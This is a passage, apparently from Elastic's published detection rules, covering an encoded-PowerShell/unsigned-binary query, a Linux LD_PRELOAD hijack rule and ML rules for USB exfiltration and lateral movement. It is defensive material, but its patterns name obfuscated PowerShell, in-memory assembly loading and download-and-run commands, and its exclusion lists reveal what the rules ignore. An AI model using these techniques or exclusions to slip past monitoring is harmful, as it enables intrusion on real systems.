process.hash.sha256 != null and (process.Ext.relative_file_creation_time <= 500 or process.Ext.relative_file_name_modify_time <= 500)) or
(process.pe.original_file_name == "PowerShellx.EXE" and length(process.command_line) >= 200 and process.command_line : ("* -enc*", "* -e *")) or
(process.pe.original_file_name == "PowerShell.EXE" and
process.command_line : ("bypass", "*HKCU*", "* IEX*", "*^*^*^*^*^*^*^*", "*.replace*", "*Reflection.Assembly*", "*set *set *set *", "*Frombase64String*", "*::Load*")) or
(process.pe.original_file_name == "Cmd.Exe" and not user.id == "S-1-5-18" and
process.args : ("?:\\Users\\Public\\*", "?:\\Users\\*\\AppData\\*", "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*", "?:\\Windows\\system32\\tasks\\*") and
not (process.args : "?:\\Users\\*\\AppData\\Local\\IBM\\Notes\\Data\\Cache.NDK" and process.args : "del")) or
(process.pe.original_file_name == "RUNDLL32.EXE" and process.args : ("?:\\Users\\*", "?:\\ProgramData\\*", "?:\\Windows\\Temp\\*", "*,#*")) or
(process.code_signature.exists == false and
(process.Ext.relative_file_creation_time <= 500 or process.Ext.relative_file_name_modify_time <= 500) and
process.executable : ("?:\\Users\\*", "?:\\ProgramData\\*", "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*", "?:\\Windows\\system32\\tasks\\*"))
) and
not (process.name : "powershell.exe" and process.args : "https://*.accellis.com*" and process.args : "-Locationid") and
not (process.name : "powershell.exe" and user.id == "S-1-5-18" and
process.args: ("*Get-AuthenticodeSignature*", "LTService", "LTSvcMon", "?:\\Adminbatch\\scripts\\winrm-https-listener-setup.ps1")) and
not (process.name : "powershell.exe" and process.args == "-UseBasicParsing" and process.args == "-UserAgent" and user.id == "S-1-5-18") and
not (process.pe.original_file_name in ("SigniantApp.exe", "G2M.exe", "DragonCenter_Updater.exe", "msedgeupdate.dll", "msrdcw.exe") and
process.code_signature.subject_name in ("Signiant Corporation", "LogMeIn, Inc.", "Micro-Star International CO., LTD.", "Microsoft Corporation")) and
not (process.pe.original_file_name == "OneDriveStandaloneUpdater.exe" and
process.executable : "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe") and
not (process.code_signature.trusted == true and process.executable : "?:\\Users\\*\\AppData\\*") and
not process.code_signature.subject_name in ("win.acme.simple@gmail.com", "NCH Software, Inc.", "RealNetworks, Inc.",
"WATERFOX LIMITED", "YY Inc.", "web discover", "WACS",
"Western Digital Technologies, Inc.") and
not process.hash.sha256 in
("18fb4e476f670b532d5227fc8ff9d7d55c151102875d64e80f2dc0cbd569861c",
"3a87ed304e359392da91bc39cb17af379dcd906c045ffcc4d715086d766acfbc",
"c0593b4b65bb264a982d61a7b84f38b10a41972b49a217ef3a80a906a0c4ee08",
"41512ecc47bb39b9f39c808f89ab23df4a4e88e414215553b825e140a4509946",
"cee7f094fc78679b673f07702cfd403b540e537de8d5b9c6c98e2b24610f9805",
"15eaff644e9a34e49997d57c4c21ce18dab4714321a62eae4252bd8eca1f3f9d",
"fe0ecd844393d78026fd41a5b5bb9ab577a483ec1c290566a3fbdbf52fb24fc5",
"053c6a0f59672b06e9ebccff18f2517780ff4c77ada25ac3eee1f2c4a24e8aea",
"1a6b98956fb92a8a57b56feeef6fedc26b95c809526374f6e7c22acd8e3925c3",
"554fa8a3bf2e233f64d9e000bf30f197159406fbfa9920adca0901a265e45379",
"fb0ecac0bd7b8f3d81dffb359fb1449fc3cb74a15a1f53a568c1c5ee5a8966a9",
"cf635f97d0a3bea30f348277777f36db6b14aea0e7711471e5fb2e13167b80cd",
"22e7528e56dffaa26cfe722994655686c90824b13eb51184abfe44d4e95d473f",
"97fc042ea077118a6bb19641d7c1e8fb20e6d1714f2234110f88a47722bcf75e",
"47ffb3d3e793d11a029d83f77e7c02d91af275116ef8f28a5699b64b6386c91c",
"02a31b0fcb2603643518fb1a164a7a2abe8f3f494daf88ebc3d93c9b98a50e46") and
not process.executable :
("?:\\Users\\*\\AppData\\Local\\GoToMeeting\\*\\g2mupload.exe",
"?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe",
"?:\\Users\\*\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe",
"?:\\Users\\*\\AppData\\Local\\Google\\Update\\GoogleUpdate.exe") and
not (process.name : "powershell.exe" and
process.args : ("Invoke-WebRequest http://sms.revize.com/*", "Import-Module PSScheduledJob; $jobDef*", "$w = $env:APPDATA*",
"[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes('Newtonsoft.Json.dll*",
"$f=$env:APPDATA+'\\Browser Assistant\\*",
"& ((Get-ItemProperty -Path 'HKCU:\\\\Control Panel\\\\Desktop').SCRNSAVE.EXE)",
"($wc.DownloadString(https://install.mondoo.com/ps1));",
"Remove-Item HKCU:\\Software\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\tel\\UserChoice -Recurse -Force -ErrorAction SilentlyContinue",
"$h=Get-Content -Path 'BE.txt' -Raw;[byte[]]$bytes=($h -split '(.{2})' -ne '' -replace '^', '0X');[Reflection.Assembly]::Load($bytes);[WebCompanion.BrowserExtension.S]::Start()",
"Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value 'C:\\*.jpg'\nSet-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name WallpaperStyle -Value 2\nRUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters")) and
not (process.name : ("rundll32.exe", "regsvr32.exe") and
process.args : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*", "?:\\windows\\system32\\mmcndmgr.dll",
"dfshim.dll,ShOpenVerbShortcut", "Files\\McAfee\\Agent\\\\ma_aac_service.dll,",
"?:\\ProgramData\\Lenovo\\Vantage\\Addins\\ThinkSpectrumAddin\\*\\Spectrum_Core.dll,RunDLL",
"?:\\Windows\\System32\\dfshim.dll,ShOpenVerbApplication")) and
not (process.name : "cmd.exe" and
process.args : ("C:\\Users\\Public\\*.bat",
"Client\\props\\schedule-nojava.cmd",
"rmdir")) and
not (process.name : "mshta.exe" and
process.args : ("*\\Support\\AzureVirtualDesktop\\ImageSources\\DisableTeamsAutoStart.ps1*",
"*\\Program Files (x86)\\combit\\*\\ServicePackNotification.ps1*")) and
not (process.name : "powershell.exe" and user.id == "S-1-5-18" and process.command_line : "*\\ProgramData\\ServiceNow\\agent-client-collector\\config\\acc.yml*")
Indicators
These rows show field, operator, and value matches.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.args | eq | -UseBasicParsing | excludes:process.args field:"process.args" value:"-UseBasicParsing" |
process.args | eq | -UserAgent | excludes:process.args field:"process.args" value:"-UserAgent" |
process.name | eq | powershell.exe | excludes:process.name field:"process.name" value:"powershell.exe" |
user.id | eq | S-1-5-18 | excludes:user.id field:"user.id" value:"S-1-5-18" |
process.args | eq | -Locationid | excludes:process.args field:"process.args" value:"-Locationid" |
process.args | wildcard | https://*.accellis.com* | excludes:process.args field:"process.args" value:"https://*.accellis.com*" |
process.args | wildcard | *Get-AuthenticodeSignature*, LTService, LTSvcMon, ?:\Adminbatch\scripts\winrm-https-listener-setup.ps1 | excludes:process.args |
process.args | wildcard | *\Support\AzureVirtualDesktop\ImageSources\DisableTeamsAutoStart.ps1*, *\Program Files (x86)\combit\*\ServicePackNotification.ps1* | excludes:process.args field:"process.args" value:"*\Support\AzureVirtualDesktop\ImageSources\DisableTeamsAutoStart.ps1*" field:"process.args" value:"*\Program Files (x86)\combit\*\ServicePackNotification.ps1*" |
process.name | eq | mshta.exe | excludes:process.name field:"process.name" value:"mshta.exe" |
process.args | wildcard | ?:\Program Files\*, ?:\Program Files (x86)\*, ?:\windows\system32\mmcndmgr.dll, dfshim.dll,ShOpenVerbShortcut, Files\McAfee\Agent\\ma_aac_service.dll,, ?:\ProgramData\Lenovo\Vantage\Addins\ThinkSpectrumAddin\*\Spectrum_Core.dll,RunDLL, ?:\Windows\System32\dfshim.dll,ShOpenVerbApplication | excludes:process.args |
process.name | eq | rundll32.exe, regsvr32.exe | excludes:process.name field:"process.name" value:"rundll32.exe" field:"process.name" value:"regsvr32.exe" |
process.args | wildcard | C:\Users\Public\*.bat, Client\props\schedule-nojava.cmd, rmdir | excludes:process.args field:"process.args" value:"C:\Users\Public\*.bat" field:"process.args" value:"Client\props\schedule-nojava.cmd" field:"process.args" value:"rmdir" |
process.name | eq | cmd.exe | excludes:process.name field:"process.name" value:"cmd.exe" |
process.args | wildcard | Invoke-WebRequest http://sms.revize.com/*, Import-Module PSScheduledJob; $jobDef*, $w = $env:APPDATA*, [Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes('Newtonsoft.Json.dll*, $f=$env:APPDATA+'\Browser Assistant\*, & ((Get-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop').SCRNSAVE.EXE), ($wc.DownloadString(https://install.mondoo.com/ps1));, Remove-Item HKCU:\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\tel\UserChoice -Recurse -Force -ErrorAction SilentlyContinue, $h=Get-Content -Path 'BE.txt' -Raw;[byte[]]$bytes=($h -split '(.{2})' -ne '' -replace '^', '0X');[Reflection.Assembly]::Load($bytes);[WebCompanion.BrowserExtension.S]::Start(), Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name Wallpaper -Value 'C:\*.jpg'
Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name WallpaperStyle -Value 2
RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters | excludes:process.args |
process.code_signature.subject_name | in | LogMeIn, Inc., Micro-Star International CO., LTD., Microsoft Corporation, Signiant Corporation | excludes:process.code_signature.subject_name |
process.pe.original_file_name | in | DragonCenter_Updater.exe, G2M.exe, SigniantApp.exe, msedgeupdate.dll, msrdcw.exe | excludes:process.pe.original_file_name |
process.code_signature.trusted | eq | true | excludes:process.code_signature.trusted field:"process.code_signature.trusted" value:"true" |
process.executable | wildcard | ?:\Users\*\AppData\* | excludes:process.executable field:"process.executable" value:"?:\Users\*\AppData\*" |
process.command_line | match | \ProgramData\ServiceNow\agent-client-collector\config\acc.yml | excludes:process.command_line field:"process.command_line" value:"\ProgramData\ServiceNow\agent-client-collector\config\acc.yml" |
process.executable | wildcard | ?:\Users\*\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe | excludes:process.executable field:"process.executable" value:"?:\Users\*\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe" |
process.pe.original_file_name | eq | OneDriveStandaloneUpdater.exe | excludes:process.pe.original_file_name field:"process.pe.original_file_name" value:"OneDriveStandaloneUpdater.exe" |
process.code_signature.subject_name | in | NCH Software, Inc., RealNetworks, Inc., WACS, WATERFOX LIMITED, Western Digital Technologies, Inc., YY Inc., web discover, win.acme.simple@gmail.com | excludes:process.code_signature.subject_name |
process.executable | wildcard | ?:\Users\*\AppData\Local\GoToMeeting\*\g2mupload.exe, ?:\Users\*\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe, ?:\Users\*\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe, ?:\Users\*\AppData\Local\Google\Update\GoogleUpdate.exe | excludes:process.executable |
process.hash.sha256 | in | 02a31b0fcb2603643518fb1a164a7a2abe8f3f494daf88ebc3d93c9b98a50e46, 053c6a0f59672b06e9ebccff18f2517780ff4c77ada25ac3eee1f2c4a24e8aea, 15eaff644e9a34e49997d57c4c21ce18dab4714321a62eae4252bd8eca1f3f9d, 18fb4e476f670b532d5227fc8ff9d7d55c151102875d64e80f2dc0cbd569861c, 1a6b98956fb92a8a57b56feeef6fedc26b95c809526374f6e7c22acd8e3925c3, 22e7528e56dffaa26cfe722994655686c90824b13eb51184abfe44d4e95d473f, 3a87ed304e359392da91bc39cb17af379dcd906c045ffcc4d715086d766acfbc, 41512ecc47bb39b9f39c808f89ab23df4a4e88e414215553b825e140a4509946, 47ffb3d3e793d11a029d83f77e7c02d91af275116ef8f28a5699b64b6386c91c, 554fa8a3bf2e233f64d9e000bf30f197159406fbfa9920adca0901a265e45379, 97fc042ea077118a6bb19641d7c1e8fb20e6d1714f2234110f88a47722bcf75e, c0593b4b65bb264a982d61a7b84f38b10a41972b49a217ef3a80a906a0c4ee08, cee7f094fc78679b673f07702cfd403b540e537de8d5b9c6c98e2b24610f9805, cf635f97d0a3bea30f348277777f36db6b14aea0e7711471e5fb2e13167b80cd, fb0ecac0bd7b8f3d81dffb359fb1449fc3cb74a15a1f53a568c1c5ee5a8966a9, fe0ecd844393d78026fd41a5b5bb9ab577a483ec1c290566a3fbdbf52fb24fc5 | excludes:process.hash.sha256 |
Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments
#This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system.
MITRE ATT&CK Coverage
Rule Body
[metadata]
creation_date = "2025/04/30"
integration = ["endpoint", "crowdstrike"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
description = """
This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument.
This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use
this technique to evade defenses, escalate privileges, or maintain persistence on a system.
"""
from = "now-9m"
index = ["logs-endpoint.events.process*", "logs-crowdstrike.fdr*"]
language = "kuery"
license = "Elastic License v2"
name = "Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments"
note = """ ## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Unusual LD_PRELOAD/LD_LIBRARY_PATH Command Line Arguments
LD_PRELOAD and LD_LIBRARY_PATH are environment variables in Linux that influence dynamic linking by specifying libraries to load before others. Adversaries exploit these to hijack execution flow, evade defenses, or escalate privileges. The detection rule identifies suspicious use of these variables in shell commands, excluding benign processes, signaling potential misuse for persistence or defense evasion.
### Possible investigation steps
- Review the process command line to identify the specific libraries being loaded via LD_PRELOAD or LD_LIBRARY_PATH and assess their legitimacy.
- Examine the parent process name to determine if the process is expected to use these environment variables, considering the exclusion list provided in the query.
- Investigate the user account associated with the process to check for any signs of compromise or unusual activity.
- Analyze the process execution context, including the timestamp and host details, to identify any patterns or correlations with other suspicious activities.
- Check system logs and other security tools for related alerts or events that might indicate broader malicious activity or attempts to evade defenses.
### False positive analysis
- Development and testing environments often use LD_PRELOAD and LD_LIBRARY_PATH for legitimate purposes such as testing new libraries or debugging. Consider excluding processes associated with these environments if they are known and trusted.
- Some software installations or updates may temporarily use these environment variables to ensure compatibility or to load specific libraries. Monitor installation logs and exclude these processes if they are verified as part of legitimate software management.
- System administration scripts or automation tools might use these variables to manage library paths dynamically. Review and whitelist these scripts if they are part of routine maintenance and have been vetted for security.
- Certain applications, like custom-built software or legacy systems, may rely on these variables for normal operation. Document these applications and exclude them from the rule if they are essential and secure.
- Security tools or monitoring agents might use these variables to hook into processes for legitimate monitoring purposes. Verify the behavior of these tools and exclude them if they are part of your security infrastructure.
### Response and remediation
- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement.
- Terminate any suspicious processes identified with unusual LD_PRELOAD or LD_LIBRARY_PATH usage to halt potential exploitation.
- Conduct a thorough review of the affected system's environment variables and remove any unauthorized or suspicious entries.
- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised.
- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected.
- Implement stricter access controls and monitoring on the affected system to prevent unauthorized changes to environment variables.
- Update and enhance detection rules to include additional indicators of compromise related to LD_PRELOAD and LD_LIBRARY_PATH misuse, ensuring future attempts are identified promptly.
"""
risk_score = 73
rule_id = "65613f5e-0d48-4b55-ad61-2fb9567cb1ad"
setup = """## Setup
This rule requires data coming in from Elastic Defend.
### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "high"
tags = [
"Domain: Endpoint",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Tactic: Persistence",
"Data Source: Elastic Defend",
"Resources: Investigation Guide",
"Data Source: Crowdstrike",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and
process.parent.name:(* and not (
awk or bwrap or cylancesvc or dbus-run-session or java or julia or make or matlab_helper or ninja or noproc_sandbox or
nxrunner or nxserver or perl or rear or sapcontrol or setsid or spoold or sshd or steam or su or sudo or titanagent or
vls_agent or zabbix_agentd
)) and
not process.parent.executable:(
/tmp/CVU_19_resource*/exectask or /u01/app/oracle/*oracle/CVU_19_oracle*/exectask or "/opt/ds_agent/ds_agent" or
"/opt/McAfee/agent/scripts/ma" or "/usr/local/bin/AppProtection/BootTimeChecker" or "/usr/bin/gmake" or "./runc" or
"/usr/openv/db/bin/nbdb_unload"
) and
not process.parent.args:"/opt/McAfee/agent/scripts/ma" and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:-c and process.command_line:(*LD_LIBRARY_PATH=* or *LD_PRELOAD=*)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"
[[rule.threat.technique.subtechnique]]
id = "T1574.006"
name = "Dynamic Linker Hijacking"
reference = "https://attack.mitre.org/techniques/T1574/006/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"
[[rule.threat.technique.subtechnique]]
id = "T1574.006"
name = "Dynamic Linker Hijacking"
reference = "https://attack.mitre.org/techniques/T1574/006/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"
[[rule.threat.technique.subtechnique]]
id = "T1574.006"
name = "Dynamic Linker Hijacking"
reference = "https://attack.mitre.org/techniques/T1574/006/"
[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[rule.new_terms]
field = "new_terms_fields"
value = ["process.parent.name", "process.command_line", "host.id"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-5d"
Stages and Predicates
Stage 1: new_terms
host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and
process.parent.name:(* and not (
awk or bwrap or cylancesvc or dbus-run-session or java or julia or make or matlab_helper or ninja or noproc_sandbox or
nxrunner or nxserver or perl or rear or sapcontrol or setsid or spoold or sshd or steam or su or sudo or titanagent or
vls_agent or zabbix_agentd
)) and
not process.parent.executable:(
/tmp/CVU_19_resource*/exectask or /u01/app/oracleexectask or "/opt/ds_agent/ds_agent" or
"/opt/McAfee/agent/scripts/ma" or "/usr/local/bin/AppProtection/BootTimeChecker" or "/usr/bin/gmake" or "./runc" or
"/usr/openv/db/bin/nbdb_unload"
) and
not process.parent.args:"/opt/McAfee/agent/scripts/ma" and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:-c and process.command_line:(*LD_LIBRARY_PATH=* or *LD_PRELOAD=*)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | in |
| field:"EventType" kind:in |
event.category | eq |
| field:"event.category" kind:eq value:"process" |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | eq |
| field:"process.args" kind:eq value:"-c" |
process.command_line | wildcard |
| field:"CommandLine" kind:wildcard |
process.name | in |
| field:"process_basename" kind:in |
process.parent.name | is_not_null | field:"parent_process_basename" kind:is_not_null |
Exclusions
The rule actively suppresses these predicates.
Unusual Process Writing Data to an External Device
#A machine learning job has detected a rare process writing data to an external device. Malicious actors often use benign-looking processes to mask their data exfiltration activities. The discovery of such a process that has no legitimate reason to write data to external devices can indicate exfiltration.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Exfiltration |
Rule Body
[metadata]
creation_date = "2023/09/22"
integration = ["ded", "endpoint"]
maturity = "production"
updated_date = "2026/07/27"
min_stack_version = "9.4.0"
min_stack_comments = "Use EA (Entity Analytics) fields"
[rule]
anomaly_threshold = 75
author = ["Elastic"]
description = """
A machine learning job has detected a rare process writing data to an external device. Malicious actors often use
benign-looking processes to mask their data exfiltration activities. The discovery of such a process that has no
legitimate reason to write data to external devices can indicate exfiltration.
"""
from = "now-2h"
interval = "15m"
license = "Elastic License v2"
machine_learning_job_id = "ded_rare_process_writing_to_external_device_ea"
name = "Unusual Process Writing Data to an External Device"
references = [
"https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html",
"https://docs.elastic.co/en/integrations/ded",
"https://www.elastic.co/blog/detect-data-exfiltration-activity-with-kibanas-new-integration",
]
risk_score = 21
rule_id = "4b95ecea-7225-4690-9938-2a2c0bad9c99"
setup = """## Setup
The rule requires the Data Exfiltration Detection integration assets to be installed, as well as network and file events collected by integrations such as Elastic Defend and Network Packet Capture (for network events only).
### Data Exfiltration Detection Setup
The Data Exfiltration Detection integration detects data exfiltration activity by identifying abnormalities in network and file events. Anomalies are detected using Elastic's Anomaly Detection feature.
#### Prerequisite Requirements:
- Fleet is required for Data Exfiltration Detection.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
- File events collected by the Elastic Defend integration.
- To install Elastic Defend, refer to the [documentation](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
#### The following steps should be executed to install assets associated with the Data Exfiltration Detection integration:
- Go to the Kibana homepage. Under Management, click Integrations.
- In the query bar, search for Data Exfiltration Detection and select the integration to see more details about it.
- Follow the instructions under the **Installation** section.
- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**.
"""
severity = "low"
tags = [
"Data Source: Elastic Defend",
"Use Case: Data Exfiltration Detection",
"Rule Type: ML",
"Rule Type: Machine Learning",
"Tactic: Exfiltration",
"Resources: Investigation Guide",
]
type = "machine_learning"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Unusual Process Writing Data to an External Device
In modern environments, processes may write data to external devices for legitimate reasons, such as backups or data transfers. However, adversaries can exploit this by using seemingly harmless processes to exfiltrate sensitive data. The detection rule leverages machine learning to identify rare processes engaging in such activities, flagging potential exfiltration attempts by analyzing deviations from typical behavior patterns.
### Possible investigation steps
- Review the process name and path to determine if it is commonly associated with legitimate activities or known software.
- Check the user account associated with the process to verify if it has the necessary permissions and if the activity aligns with the user's typical behavior.
- Analyze the external device's details, such as its type and connection history, to assess if it is a recognized and authorized device within the organization.
- Investigate the volume and type of data being written to the external device to identify any sensitive or unusual data transfers.
- Correlate the process activity with other security events or logs to identify any concurrent suspicious activities or anomalies.
- Consult with the user or department associated with the process to confirm if the data transfer was authorized and necessary.
### False positive analysis
- Backup processes may trigger alerts when writing data to external devices. Users should identify and whitelist legitimate backup applications to prevent false positives.
- Data transfer applications used for legitimate business purposes can be flagged. Regularly review and approve these applications to ensure they are not mistakenly identified as threats.
- Software updates or installations that involve writing data to external devices might be detected. Establish a list of known update processes and exclude them from triggering alerts.
- IT maintenance activities, such as system diagnostics or hardware testing, can cause false positives. Document and exclude these routine processes to avoid unnecessary alerts.
- User-initiated file transfers for legitimate reasons, such as moving large datasets for analysis, should be monitored and approved to prevent misclassification.
### Response and remediation
- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat.
- Identify and terminate the suspicious process writing data to the external device to stop any ongoing exfiltration activities.
- Conduct a forensic analysis of the affected system to determine the scope of the data exfiltration, including what data was accessed or transferred.
- Review and revoke any compromised credentials or access permissions associated with the affected process to prevent unauthorized access.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the threat or related suspicious activities.
- Update security policies and controls to prevent similar exfiltration attempts, such as restricting process permissions to write to external devices and enhancing endpoint protection measures."""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1052"
name = "Exfiltration Over Physical Medium"
reference = "https://attack.mitre.org/techniques/T1052/"
[[rule.threat.technique.subtechnique]]
id = "T1052.001"
name = "Exfiltration over USB"
reference = "https://attack.mitre.org/techniques/T1052/001/"
[rule.threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"
Unusual Remote File Directory
#An anomaly detection job has detected a remote file transfer on an unusual directory indicating a potential lateral movement activity on the host. Many Security solutions monitor well-known directories for suspicious activities, so attackers might use less common directories to bypass monitoring.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Lateral Movement |
Rule Body
[metadata]
creation_date = "2023/10/12"
integration = ["lmd", "endpoint"]
maturity = "production"
updated_date = "2026/07/27"
min_stack_version = "9.4.0"
min_stack_comments = "Use EA (Entity Analytics) fields"
[rule]
anomaly_threshold = 70
author = ["Elastic"]
description = """
An anomaly detection job has detected a remote file transfer on an unusual directory indicating a potential lateral
movement activity on the host. Many Security solutions monitor well-known directories for suspicious activities, so
attackers might use less common directories to bypass monitoring.
"""
from = "now-90m"
interval = "15m"
license = "Elastic License v2"
machine_learning_job_id = "lmd_rare_file_path_remote_transfer_ea"
name = "Unusual Remote File Directory"
references = [
"https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html",
"https://docs.elastic.co/en/integrations/lmd",
"https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration",
"https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security",
]
risk_score = 21
rule_id = "be4c5aed-90f5-4221-8bd5-7ab3a4334751"
setup = """## Setup
This rule requires the `host.ip` field to be populated.
For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**.
If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the
[helper guide](https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields).
The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration.
### Lateral Movement Detection Setup
The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature.
#### Prerequisite Requirements:
- Fleet is required for Lateral Movement Detection.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
- File events collected by the [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint) integration.
- To install Elastic Defend, refer to the [documentation](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
#### The following steps should be executed to install assets associated with the Lateral Movement Detection integration:
- Go to the Kibana homepage. Under Management, click Integrations.
- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it.
- Follow the instructions under the **Installation** section.
- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**.
"""
severity = "low"
tags = [
"Data Source: Elastic Defend",
"Use Case: Lateral Movement Detection",
"Rule Type: ML",
"Rule Type: Machine Learning",
"Tactic: Lateral Movement",
"Resources: Investigation Guide",
]
type = "machine_learning"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Unusual Remote File Directory
